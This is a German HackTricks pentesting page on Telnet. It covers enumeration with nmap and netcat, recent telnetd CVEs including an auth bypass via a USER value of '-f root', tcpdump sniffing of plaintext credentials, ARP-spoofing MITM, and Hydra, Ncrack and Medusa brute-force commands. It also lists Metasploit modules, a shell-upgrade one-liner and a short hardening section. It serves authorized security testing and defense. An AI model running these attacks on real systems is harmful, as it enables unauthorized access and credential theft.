23 - Pentesting Telnet

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Telnet ist ein Netzwerkprotokoll, das Benutzern eine unsichere Möglichkeit bietet, über ein Netzwerk auf einen Computer zuzugreifen.

Standard-Port: 23

23/tcp open  telnet

Enumeration

nc -vn <IP> 23

Alle interessanten enumeration lassen sich mit nmap durchführen:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Das Script telnet-ntlm-info.nse ermittelt NTLM-Informationen (Windows-Versionen).

Aus dem telnet RFC: Im TELNET-Protokoll gibt es verschiedene “Optionen”, die festgelegt werden und mit der “DO, DON’T, WILL, WON’T”-Struktur verwendet werden können, damit sich Client und Server auf ein umfangreicheres (oder einfach nur anderes) Satz von Konventionen für ihre TELNET-Verbindung einigen. Solche Optionen können z. B. das Ändern des Zeichensatzes, des Echo-Modus usw. umfassen.

Ich weiß, dass es möglich ist, diese Optionen zu enumerieren, aber ich weiß nicht wie — sag mir Bescheid, falls du es weißt.

Telnet-Optionen / -Funktionen auflisten

Telnet verwendet IAC + DO/DONT/WILL/WONT-Verhandlungen, um Optionen zu aktivieren. Du kannst unterstützte Optionen beobachten, indem du die initiale Verhandlung mitsicherst und gezielt nach bestimmten Funktionen probeierst.

Nmap Option-/Feature-Probes

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Das Skript telnet-encryption prüft, ob die ENCRYPT-Option unterstützt wird; einige Implementierungen haben diese Option historisch falsch gehandhabt und waren verwundbar, aber das Skript prüft nur die Unterstützung. telnet-ntlm-info enthüllt NTLM-Metadaten (NetBIOS/DNS/OS-Build), wenn Microsoft Telnet NTLM aktiviert ist. telnet-brute ist ein NSE brute-force-Auditor für Telnet.

Brute force

Konfigurationsdatei

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Automatische Befehle

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Neuere Schwachstellen (2022–2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Unsachgemäße Eingabevalidierung im telnet-Service erlaubt entfernten Angreifern, sich mit hartkodierten Zugangsdaten einzuloggen und OS-Befehle zu injizieren; behoben in Firmware 1.04B05 oder später.
  • CVE-2023-40478 – NETGEAR RAX30: Stack-basierter Buffer-Overflow in der Telnet-CLI passwd-Befehl ermöglicht netzwerknahe Codeausführung als root; Authentifizierung ist erforderlich, kann jedoch umgangen werden.
  • CVE-2022-39028 – GNU inetutils telnetd: Eine Zwei-Byte-Sequenz (0xff 0xf7 / 0xff 0xf8) kann eine NULL-Pointer-Dereferenz in telnetd auslösen, und wiederholte Abstürze können dazu führen, dass inetd den Dienst deaktiviert (DoS).

Behalte diese CVEs beim Schwachstellen-Triage im Hinterkopf — wenn das Ziel eine ungepatchte Firmware oder einen veralteten inetutils Telnet-Daemon betreibt, kann dies einen direkten Weg zur Codeausführung oder zu einem störenden DoS bieten.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Zusammenfassung: telnetd in GNU Inetutils bis einschließlich 2.7 erlaubt eine Umgehung der Authentifizierung aus der Ferne via einem USER-Umgebungsvariablenwert von -f root, was zu nicht-authentifiziertem Root-Zugriff führt.
Ursache: Argument-Injection (CWE-88), weil telnetd die vom Client gelieferte USER-Umgebungsvariable ohne Sanitierung an login weiterleitet.
Betroffene Versionen: GNU Inetutils telnetd Versionen 1.9.3–2.7 sind betroffen (veröffentlicht 21. Januar 2026).

Abhilfemaßnahmen

  • Patch/Upgrade betroffene Pakete sofort (z. B. Debian-Fixes sind in 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, und 2:2.7-2).
  • Telnet deaktivieren oder den Zugriff auf vertrauenswürdige Management-Netzwerke beschränken, während gepatcht wird.

Abgreifen von Zugangsdaten & Man-in-the-Middle

Telnet überträgt alles, einschließlich Zugangsdaten, im Klartext. Zwei schnelle Methoden, sie abzugreifen:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Für aktives MITM, kombiniere ARP spoofing (z. B. arpspoof/ettercap) mit denselben sniffing filters, um Passwörter in switched networks abzugreifen.

Automated Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Die meisten IoT-Botnets (Mirai variants) scannen immer noch Port 23 mit kleinen default-credential dictionaries — diese Logik zu spiegeln kann schnell schwache Geräte identifizieren.

Exploitation & Post-Exploitation

Metasploit hat mehrere nützliche Module:

  • auxiliary/scanner/telnet/telnet_version – banner & option enumeration.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).
  • exploit/linux/mips/netgear_telnetenable – enables telnet service with a crafted packet on many NETGEAR routers.

Nachdem eine Shell erlangt wurde, denken Sie daran, dass TTYs are usually dumb; rüsten Sie sie mit python -c 'import pty;pty.spawn("/bin/bash")' auf oder verwenden Sie die HackTricks TTY tricks.

Härtung & Erkennung (Blue team corner)

  1. Bevorzugen Sie SSH und deaktivieren Sie den Telnet-Dienst vollständig.
  2. Wenn Telnet erforderlich ist, binden Sie es nur an Management-VLANs, erzwingen Sie ACLs und schützen Sie den Daemon mit TCP wrappers (/etc/hosts.allow).
  3. Ersetzen Sie veraltete telnetd-Implementierungen durch ssl-telnet oder telnetd-ssl, um Transportverschlüsselung hinzuzufügen, aber dies schützt nur Daten während der Übertragung — das Erraten von Passwörtern bleibt trivial.
  4. Überwachen Sie ausgehenden Traffic zu Port 23; Kompromittierungen erzeugen oft reverse shells über Telnet, um strikte HTTP-Egress-Filter zu umgehen.

Referenzen

  • D-Link Advisory – CVE-2024-45698 Critical Telnet RCE.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.
  • NVD – CVE-2026-24061.
  • Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061).
  • Debian Security Tracker – CVE-2026-24061 fixed versions.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks